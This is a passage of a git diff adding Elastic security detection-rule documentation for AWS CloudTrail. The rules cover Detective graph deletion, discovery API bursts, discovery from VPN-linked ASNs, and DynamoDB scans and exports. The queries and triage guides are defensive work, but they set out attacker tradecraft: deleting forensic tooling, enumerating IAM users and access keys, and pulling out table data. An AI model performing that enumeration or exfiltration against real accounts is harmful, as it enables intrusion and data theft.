Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-detective-graph-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-detective-graph-deleted.asciidoc new file mode 100644 index 0000000000..7997875776 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-detective-graph-deleted.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-aws-detective-graph-deleted]] +=== AWS Detective Graph Deleted + +Detects the deletion of an Amazon Detective behavior graph via the DeleteGraph API. Amazon Detective automatically collects log data from AWS services and uses machine learning, statistical analysis, and graph theory to build an interactive model of resource behaviors and interactions. Deleting a behavior graph destroys its historical analysis data and removes the ability to investigate security incidents using Detective's relationship mapping. An attacker with sufficient IAM permissions may delete the Detective graph to impair forensic investigation of a compromise. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/detective/latest/APIReference/API_DeleteGraph.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Detective +* Rule Type: Custom Query (KQL) +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Detective Graph Deleted* + + +Amazon Detective builds a behavior graph from CloudTrail, VPC Flow Logs, and GuardDuty findings, enabling investigation teams to trace the full scope and timeline of a security incident. `DeleteGraph` is a rare, irreversible operation — the historical graph data cannot be recovered after deletion. An adversary who deletes the Detective graph removes a key forensic investigation tool, making it harder to understand the scope of a compromise. + + +*Possible investigation steps* + + +- Identify the caller in `aws.cloudtrail.user_identity.arn` and `user.name`. Confirm whether this is an authorized cloud administrator or an anomalous identity. +- Check whether the deletion was preceded by other defense-evasion actions in the same time window: GuardDuty detector deletion, CloudTrail StopLogging, Security Hub disable. +- Determine how long the Detective graph had been active and what historical data was lost. +- Review all IAM actions by this identity in the 24 hours before the deletion. + + +*False positive analysis* + + +- Account decommissioning workflows may include Detective graph deletion as part of teardown. Verify via change management records. + + +*Response and remediation* + + +- Re-enable Amazon Detective for the affected account and region. +- Reconstruct investigation context from raw CloudTrail, VPC Flow Logs, and GuardDuty findings. +- Revoke active sessions for the deleting identity if the action was unauthorized. +- Add an SCP restricting `detective:DeleteGraph` to break-glass administrator roles. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. Amazon Detective must be enabled in the account for this event to appear. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "detective.amazonaws.com" + and event.action: "DeleteGraph" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc new file mode 100644 index 0000000000..6c0f41dfb6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity]] +=== AWS Discovery API Calls from VPN ASN for the First Time by Identity + +Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html +* https://attack.mitre.org/techniques/T1526/ +* https://github.com/bountyyfi/bad-asn-list/blob/main/all.txt + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: AWS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Discovery API Calls from VPN ASN for the First Time by Identity* + + +This rule applies a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] condition on **`source.as.number`** and **`aws.cloudtrail.user_identity.arn`**. It fires the first time a specific principal is observed calling discovery-like APIs from an IP geolocated to one of the ASNs in the rule query (within the 10-day history window). + +**High-signal `event.action` values** (explicit allowlist in the rule query): `GetCallerIdentity`; IAM `ListUsers`, +`ListRoles`, `ListAccessKeys`, `GetAccountSummary`, `ListAccountAliases`, `ListGroups`, `ListMFADevices`; S3 `ListBuckets`; +EC2 `DescribeInstances`, `DescribeRegions`, `DescribeVpcs`, `DescribeSecurityGroups`; Lambda `ListFunctions`; RDS +`DescribeDBInstances`, `DescribeDBSnapshots`; DynamoDB `ListTables`; KMS `ListKeys`, `ListAliases`; CloudTrail +`DescribeTrails`, `LookupEvents`; Bedrock `ListFoundationModels`. Clone the rule to add actions (for example ELB or Secrets Manager) if needed. + +**Curated VPN-oriented ASNs (verify locally)** — examples this rule matches (subject to registry and enrichment updates): + +| ASN | Commonly associated operator (reference only) | +|-----|-----------------------------------------------| +| 216025 | Mullvad VPN AB | +| 57138 | Mullvad supporting infrastructure | +| 207137 | Tefincom S.A. (NordVPN-related) | +| 212238 | Nord / Nord Security class VPN egress in many datasets | +| 199218 | ProtonVPN | +| 209103 | Proton AG (VPN; confirm in your enrichment source) | +| 209854 | Surfshark Ltd. | +| 141039, 147049 | Packet-style VPN/colocation pools often tied to large VPN footprints | +| 53314 | ExpressVPN-related registration in some registries (often small; validate) | +| 60068 | Datacamp Limited — CDN/hosting; used by several VPN brands and many legitimate workloads (**high dual-use**) | +| 9009 | M247 Ltd — colocation and connectivity; common VPN/proxy exit (**high dual-use**) | +| 20473 | Choopa / Vultr (The Constant Company) — VPS; frequent VPN exit and automation (**high dual-use**) | +| 63949 | Linode LLC (Akamai cloud) — VPS; VPN exits and dev workloads (**dual-use**) | +| 39351 | 31173 Services AB (Sweden) — colocation/hosting; cited in TeamPCP-related reporting (**dual-use**). Not the same as **AS31173** (unrelated Ukrainian ISP). | +| 51765 | Oy Crea Nova Hosting Solution Ltd (Finland) — hosting; cited in TeamPCP-related reporting (**dual-use**) | +| 204187 | Oy Crea Nova Hosting Solution Ltd — related network under the same operator (**dual-use**) | +| 208172 | Proton AG — additional VPN egress network (same Proton operator as 209103 / ProtonVPN) | +| 9002 | RETN Limited — pan-European/global transit backbone; carries VPN/proxy egress plus heavy legitimate traffic (**high dual-use**) | +| 49981 | WorldStream B.V. (Netherlands) — dedicated-server/hosting; VPN exits and many legitimate workloads (**dual-use**) | + +Other ASNs sometimes seen for VPN or reseller egress (not in this rule by default) include **16276** (OVH), **14061** +(DigitalOcean), **24940** (Hetzner), **51167** (Contabo), and **49453** (Global Layer). Add them only if your baseline +shows manageable false-positive volume. + + +*Possible investigation steps* + + +- Confirm `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. +- Review `event.action` and `event.provider` in the alert; several distinct allowlisted actions from the same session suggest broader enumeration. +- Compare `source.ip`, `source.as.organization.name`, and `source.as.number` against your asset inventory and approved remote-access patterns. +- Hunt ±30 minutes for privilege changes, data access (`GetObject`, snapshot sharing), or credential operations. + + +*False positive analysis* + + +- First-time legitimate VPN or hosting egress per identity produces a single alert per ASN until the term ages out of the window. +- **Datacamp (60068), M247 (9009), and Vultr (20473)** are especially noisy; consider dropping them locally if alerts exceed capacity. +- **31173 Services AB (39351)** and **Crea Nova (51765, 204187)** are legitimate hosting providers; only escalation-worthy when paired with unexpected identities or follow-on impact. + + +*Response and remediation* + + +- If unexpected, rotate keys, revoke sessions, and tighten IAM; add exceptions only after documented approval. + + +*Additional information* + + +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html[CloudTrail userIdentity] +- https://bgp.tools/[BGP / ASN lookup] (third-party) for validating AS registrations + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.arn:(* and not *AWSServiceRoleForConfig*) + and not aws.cloudtrail.user_identity.type: "AWSService" + and event.provider: ( + "sts.amazonaws.com" or + "iam.amazonaws.com" or + "s3.amazonaws.com" or + "ec2.amazonaws.com" or + "lambda.amazonaws.com" or + "rds.amazonaws.com" or + "dynamodb.amazonaws.com" or + "kms.amazonaws.com" or + "cloudtrail.amazonaws.com" or + "bedrock.amazonaws.com" + ) + and event.action: ( + "GetCallerIdentity" or + "ListUsers" or + "ListRoles" or + "ListAccessKeys" or + "GetAccountSummary" or + "ListAccountAliases" or + "ListGroups" or + "ListMFADevices" or + "ListBuckets" or + "DescribeInstances" or + "DescribeRegions" or + "DescribeVpcs" or + "DescribeSecurityGroups" or + "ListFunctions" or + "DescribeDBInstances" or + "DescribeDBSnapshots" or + "ListTables" or + "ListKeys" or + "ListAliases" or + "DescribeTrails" or + "LookupEvents" or + "ListFoundationModels" + ) + and source.as.number: ( + 216025 or + 57138 or + 207137 or + 212238 or + 199218 or + 209103 or + 209854 or + 141039 or + 147049 or + 53314 or + 60068 or + 9009 or + 20473 or + 63949 or + 39351 or + 51765 or + 204187 or + 29066 or + 206092 or + 208172 or + 9002 or + 49981 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc new file mode 100644 index 0000000000..d5f8b5a07a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc @@ -0,0 +1,246 @@ +[[prebuilt-rule-8-19-34-aws-discovery-api-calls-via-cli-from-a-single-resource]] +=== AWS Discovery API Calls via CLI from a Single Resource + +Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS EC2 +* Data Source: AWS IAM +* Data Source: AWS S3 +* Data Source: AWS CloudTrail +* Data Source: AWS RDS +* Data Source: AWS Lambda +* Data Source: AWS STS +* Data Source: AWS KMS +* Data Source: AWS SES +* Data Source: AWS Cloudfront +* Data Source: AWS DynamoDB +* Data Source: AWS Elastic Load Balancing +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Discovery API Calls via CLI from a Single Resource* + + +This rule detects when a single AWS identity executes more than five unique discovery-related API calls (`Describe*`, `List*`, `Get*`, or `Generate*`) within a 10-second window using the AWS CLI. +High volumes of diverse “read-only” API calls in such a short period can indicate scripted reconnaissance, often an early phase of compromise after credential exposure or access to a compromised EC2 instance. + + +*Possible Investigation Steps* + + +**Identify the actor and session context** +- **Actor ARN (`aws.cloudtrail.user_identity.arn`)**: Determine which IAM user, role, or service principal performed the actions. + - Check whether this identity normally performs enumeration activity or belongs to automation infrastructure. +- **Identity type (`Esql.aws_cloudtrail_user_identity_arn_type`)**: Validate if the caller is a human IAM user, assumed role, or federated identity. Unusual types (e.g., temporary credentials from an unfamiliar role) may indicate lateral movement. +- **Access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`)** – Identify which specific access key or temporary credential was used. + - If multiple suspicious keys are found, use AWS IAM console or `aws iam list-access-keys` to determine when they were last used or rotated. +- **Account (`Esql.cloud_account_id_values`)** – Confirm which AWS account was affected and whether it matches the intended operational context (e.g., production vs. sandbox). + +**Assess the API call pattern and intent** +- **Distinct action count (`Esql.event_action_count_distinct`)**: Note how many unique API calls occurred within each 10-second window. Counts far above normal operational baselines may indicate scripted reconnaissance. +- **API actions (`Esql.event_action_values`)**: Review which discovery APIs were invoked. + - Focus on services such as EC2 (`DescribeInstances`), IAM (`ListRoles`, `ListAccessKeys`), S3 (`ListBuckets`), and KMS (`ListKeys`), which adversaries frequently query to map assets. +- **Service providers (`Esql.event_provider_values`)**: Identify which AWS services were targeted. + - Multi-service enumeration (IAM + EC2 + S3) suggests broad discovery rather than a specific diagnostic task. +- **Time window (`Esql.time_window_date_trunc`)**: Verify whether activity occurred during normal maintenance windows or outside expected hours. + +**Analyze the source and origin** +- **Source IP (`Esql.source_ip_values`)**: Check the originating IPs to determine whether the calls came from a known internal host, an EC2 instance, or an unfamiliar external network. + - Compare with known corporate CIDR ranges, VPC flow logs, or guardrail baselines. +- **Source organization (`Esql.source_as_organization_name_values`)**: Review the associated ASN or organization. + - If the ASN belongs to a commercial ISP or VPN service, investigate possible credential compromise or remote attacker usage. + +**Correlate with additional events** +- Search CloudTrail for the same `aws.cloudtrail.user_identity.arn` or `aws_cloudtrail_user_identity_access_key_id_values` within ±30 minutes. + - Look for follow-on actions such as `GetCallerIdentity`, `AssumeRole`, `CreateAccessKey`, or data access (`GetObject`, `CopySnapshot`). + - Correlate this enumeration with authentication anomalies or privilege-related findings. +- Cross-reference `Esql.cloud_account_id_values` with other alerts for lateral or privilege escalation patterns. + + +*False positive analysis* + + +Legitimate, high-frequency API activity may originate from: +- **Inventory or compliance automation**: Scripts or tools such as AWS Config, Cloud Custodian, or custom CMDB collection performing periodic Describe/List calls. +- **Operational monitoring systems**: DevOps pipelines, Terraform, or deployment verifiers enumerating resources. +- **Security tooling**: Security scanners performing asset discovery across services. + +Validate by confirming: +- Whether the `aws.cloudtrail.user_identity.arn` corresponds to a documented automation or monitoring identity. +- That the observed `Esql.event_action_values` match known inventory or cost-reporting workflows. +- Timing alignment with approved maintenance schedules. + + +*Response and remediation* + + +If the activity is unexpected or originates from unrecognized credentials, follow AWS’s incident-handling guidance: + +**Contain** +- Temporarily disable or rotate the access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`) using IAM. +- Restrict outbound connectivity for the instance or resource from which the API calls originated. + +**Investigate** +- Retrieve full CloudTrail logs for the actor and `Esql.time_window_date_trunc` interval. +- Identify any subsequent write or privilege-modification actions. +- Review associated IAM policies for excessive permissions. + +**Recover and Harden** +- Rotate credentials, enforce MFA on human users, and tighten IAM role trust policies. +- Implement AWS Config rules or SCPs to monitor and restrict large-scale enumeration. + +**Post-Incident Actions** +- Document the finding and response in your organization’s IR management system. +- Update detection logic or allow-lists for known benign automation. +- Validate recovery by confirming no new suspicious discovery bursts occur. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[CloudTrail Event Reference] + - https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] +- **AWS Playbook Resources** + - https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] + - https://github.com/aws-samples/aws-customer-playbook-framework[AWS Customer Playbook Framework] + + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +// create time window buckets of 10 seconds +| eval Esql.time_window_date_trunc = date_trunc(10 seconds, @timestamp) + +| where + data_stream.dataset == "aws.cloudtrail" + // filter on CloudTrail audit logs for IAM, EC2, S3, etc. + and event.provider in ( + "iam.amazonaws.com", + "ec2.amazonaws.com", + "s3.amazonaws.com", + "rds.amazonaws.com", + "lambda.amazonaws.com", + "dynamodb.amazonaws.com", + "kms.amazonaws.com", + "cloudfront.amazonaws.com", + "elasticloadbalancing.amazonaws.com", + "cloudtrail.amazonaws.com", + "sts.amazonaws.com", + "ses.amazonaws.com" + ) + // ignore AWS service actions + and aws.cloudtrail.user_identity.type != "AWSService" + // filter for aws-cli specifically + and user_agent.name == "aws-cli" + // exclude DescribeCapacityReservations events related to AWS Config + and event.action != "DescribeCapacityReservations" + +// filter for Describe, Get, List, and Generate API calls +| where true in ( + starts_with(event.action, "Describe"), + starts_with(event.action, "Get"), + starts_with(event.action, "List"), + starts_with(event.action, "Generate") +) + +// extract owner, identity type, and actor from the ARN +| dissect aws.cloudtrail.user_identity.arn "%{}::%{Esql_priv.aws_cloudtrail_user_identity_arn_owner}:%{Esql.aws_cloudtrail_user_identity_arn_type}/%{Esql.aws_cloudtrail_user_identity_arn_roles}" + +| where starts_with(Esql.aws_cloudtrail_user_identity_arn_roles, "AWSServiceRoleForConfig") != true + +// keep relevant fields (preserving ECS fields and computed time window) +| keep + @timestamp, + Esql.time_window_date_trunc, + event.action, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + event.provider, + user_agent.name, + source.as.organization.name, + cloud.region, + data_stream.namespace + +// count the number of unique API calls per time window and actor +| stats + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.event_action_values = VALUES(event.action), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.event_provider_values = VALUES(event.provider), + Esql.user_agent_name_values = VALUES(user_agent.name), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for more than 5 unique API calls per 10s window +| where Esql.event_action_count_distinct > 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-scan-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-scan-by-unusual-user.asciidoc new file mode 100644 index 0000000000..e53674aebb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-scan-by-unusual-user.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-aws-dynamodb-scan-by-unusual-user]] +=== AWS DynamoDB Scan by Unusual User + +Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Scan.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS DynamoDB + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS DynamoDB Scan by Unusual User* + + +This rule identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the Scan request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being scanned. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key is associated with a legitimate user or if it has been compromised. + + + +*False Positive Analysis* + + +- Historical User Actions: If the user has a history of scanning DynamoDB tables for legitimate purposes, this may not be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform scans on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may not be a false positive. + + +*Response and Remediation* + + +- Immediate Review and Reversal: If the Scan action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's account or removing their permissions. +- Investigate Compromise: If the Scan action is determined to be malicious, investigate the source of the request and any potential compromise of the user's account. This may involve reviewing access logs, resetting passwords, and enabling multi-factor authentication (MFA) for the affected user. If export options were used with the CLI or SDK, they may have been saved locally or to a remote location. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Setup + + +DynamoDB data events must be enabled in CloudTrail to capture the Scan action. Ensure that the AWS CloudTrail service is configured to log data events for DynamoDB tables. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "Scan" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-table-exported-to-s3.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-table-exported-to-s3.asciidoc new file mode 100644 index 0000000000..402c3ccd9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-dynamodb-table-exported-to-s3.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-aws-dynamodb-table-exported-to-s3]] +=== AWS DynamoDB Table Exported to S3 + +Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_ExportTableToPointInTime.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS DynamoDB +* Service: AWS S3 + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + + +*Investigating AWS DynamoDB Table Exported to S3* + + +This rule identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. + +This is a New Terms rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the export. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key has been compromised. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the ExportTableToPointInTime request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being exported. + + +*False Positive Analysis* + +- Historical User Actions: If the user has a history of exporting DynamoDB tables for legitimate purposes, this may be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform exports on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may be a false positive. + + +*Response and Remediation* + +- Immediate Review and Reversal: If the ExportTableToPointInTime action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's access keys or removing their permissions. +- Investigate Compromise: If the ExportTableToPointInTime action is determined to be malicious, investigate the source and destination of the request and any potential compromise of the user's account. If the destination S3 bucket is not known, it may be a sign of data exfiltration and may require incident response. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and 